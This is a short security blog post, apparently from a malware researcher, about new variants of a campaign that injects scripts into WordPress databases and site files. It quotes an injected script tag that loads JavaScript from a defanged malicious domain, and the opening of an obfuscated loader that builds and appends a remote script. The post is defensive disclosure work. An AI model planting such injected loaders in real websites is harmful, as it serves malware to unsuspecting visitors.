Saskmade[.]net Redirects

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Saskmade[.]net Redirects<p>Earlier this week, we published a blog post about an ongoing massive malware campaign describing multiple infection vectors that it uses. This same week, we started detecting new modifications of the scripts injected by this attack.</p>

The general idea of the malware is the same, but the domain name and obfuscation has changed slightly.

For example, in the wp_post table they now inject this script:

<script src='hxxps://saskmade[.]net/head.js?ver=2.0.0' type='text/javascript'>

In the section of HTML and PHP files, and at the top of jQuery-related JavaScript files, they inject this new obfuscated script:

var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,

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